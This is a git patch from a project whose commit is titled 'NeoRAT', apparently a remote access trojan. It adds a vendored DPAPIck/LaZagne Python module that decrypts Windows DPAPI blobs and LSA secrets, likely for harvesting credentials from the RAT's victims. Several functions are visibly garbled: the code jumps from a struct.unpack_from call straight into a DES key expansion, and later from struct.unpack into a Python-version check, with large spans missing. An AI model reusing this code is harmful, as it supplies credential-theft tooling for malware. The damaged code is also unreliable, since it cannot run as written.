From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../client_handling/lazagne/config/DPAPI/crypto.py | 366 +++++++++++++++++++++ 1 file changed, 366 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/DPAPI/crypto.py (limited to 'foreign/client_handling/lazagne/config/DPAPI/crypto.py') diff --git a/foreign/client_handling/lazagne/config/DPAPI/crypto.py b/foreign/client_handling/lazagne/config/DPAPI/crypto.py new file mode 100644 index 0000000..121a921 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/crypto.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +# ## +# This file is part of DPAPIck ## +# Windows DPAPI decryption & forensic toolkit ## +# ## +# ## +# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +# This document is the property of Cassidian SAS, it may not be copied or ## +# circulated without prior licence ## +# ## +# Author: Jean-Michel Picod ## +# ## +# This program is distributed under GPLv3 licence (see LICENCE.txt) ## +# ## +############################################################################# + +import array +import hashlib +import hmac +import struct +import sys + +from foreign.client_handling.lazagne.config.crypto.rc4 import RC4 +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB +from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte + + +try: + xrange +except NameError: + xrange = range + +AES_BLOCK_SIZE = 16 + + +class CryptoAlgo(object): + """ + This class is used to wrap Microsoft algorithm IDs with M2Crypto + """ + + class Algo(object): + def __init__(self, data): + self.data = data + + def __getattr__(self, attr): + if attr in self.data: + return self.data[attr] + raise AttributeError(attr) + + _crypto_data = {} + + @classmethod + def add_algo(cls, algnum, **kargs): + cls._crypto_data[algnum] = cls.Algo(kargs) + if 'name' in kargs: + kargs['ID'] = algnum + cls._crypto_data[kargs['name']] = cls.Algo(kargs) + + @classmethod + def get_algo(cls, algnum): + return cls._crypto_data[algnum] + + def __init__(self, i): + self.algnum = i + self.algo = CryptoAlgo.get_algo(i) + + name = property(lambda self: self.algo.name) + module = property(lambda self: self.algo.module) + keyLength = property(lambda self: self.algo.keyLength / 8) + ivLength = property(lambda self: self.algo.IVLength / 8) + blockSize = property(lambda self: self.algo.blockLength / 8) + digestLength = property(lambda self: self.algo.digestLength / 8) + + def do_fixup_key(self, key): + try: + return self.algo.keyFixup.__call__(key) + except AttributeError: + return key + + def __repr__(self): + return "%s [%#x]" % (self.algo.name, self.algnum) + + +def des_set_odd_parity(key): + _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, + 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, + 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, + 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, + 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, + 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, + 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, + 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, + 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, + 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, + 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, + 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, + 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, + 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, + 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, + 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, + 247, 248, 248, 251, 251, 253, 253, 254, 254] + tmp = array.array("B") + tmp.fromstring(key) + for i, v in enumerate(tmp): + tmp[i] = _lut[v] + return tmp.tostring() + + +CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) +CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512) +CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024) +CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024) + + +def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for XP DPAPI blob, given the masterkey and optional information. + + This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC. + Instead of updating the inner pad, we update the outer pad... + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + masterkey += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + digest = hashlib.new(hashAlgo.name) + digest.update(ipad) + digest.update(nonce) + tmp = digest.digest() + digest = hashlib.new(hashAlgo.name) + digest.update(opad) + digest.update(tmp) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information. + + This implementation relies on an RFC compliant HMAC implementation + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name)) + digest.update(nonce) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptDeriveKey(h, cipherAlgo, hashAlgo): + """ + Internal use. Mimics the corresponding native Microsoft function + """ + if len(h) > hashAlgo.blockSize: + h = hashlib.new(hashAlgo.name, h).digest() + if len(h) >= cipherAlgo.keyLength: + return h + h += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest() + k = k[:cipherAlgo.keyLength] + k = cipherAlgo.do_fixup_key(k) + return k + + +def decrypt_lsa_key_nt5(lsakey, syskey): + """ + This function decrypts the LSA key using the syskey + """ + dg = hashlib.md5() + dg.update(syskey) + for i in xrange(1000): + dg.update(lsakey[60:76]) + arcfour = RC4(dg.digest()) + deskey = arcfour.encrypt(lsakey[12:60]) + return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)] + + +def decrypt_lsa_key_nt6(lsakey, syskey): + """ + This function decrypts the LSA keys using the syskey + """ + dg = hashlib.sha256() + dg.update(syskey) + for i in range(1000): + dg.update(lsakey[28:60]) + + k = AESModeOfOperationECB(dg.digest()) + keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)]) + + size = struct.unpack_from("> 1) + des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2)) + des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3)) + des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4)) + des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5)) + des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6)) + des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7)) + des_key.append(char_to_int(block_key[6]) & 0x7F) + des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key])) + + decrypted_data += des(des_key, ECB).decrypt(enc_block) + j += 7 + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) + dec_data_len = struct.unpack(" (3, 0): + tmp += struct.pack(">B", x ^ y) + else: + tmp += chr(char_to_int(x) ^ char_to_int(y)) + derived = tmp + buff += derived + return buff[:int(keylen)] + + +def derivePwdHash(pwdhash, sid, digest='sha1'): + """ + Internal use. Computes the encryption key from a user's password hash + """ + return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest() + + +def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds): + """ + Internal use. Decrypts data stored in DPAPI structures. + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname) + key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):] + key = key[:int(cipherAlgo.keyLength)] + iv = iv[:int(cipherAlgo.ivLength)] + + if "AES" in cipherAlgo.name: + cipher = AESModeOfOperationCBC(key, iv=iv) + cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)]) + else: + cipher = cipherAlgo.module(key, CBC, iv) + cleartxt = cipher.decrypt(raw) + return cleartxt + + +def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value): + """ + Internal function used to compute HMACs of DPAPI structures + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname)) + encKey.update(hmacSalt) + encKey = encKey.digest() + rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname)) + rv.update(value) + return rv.digest() -- cgit v1.2.3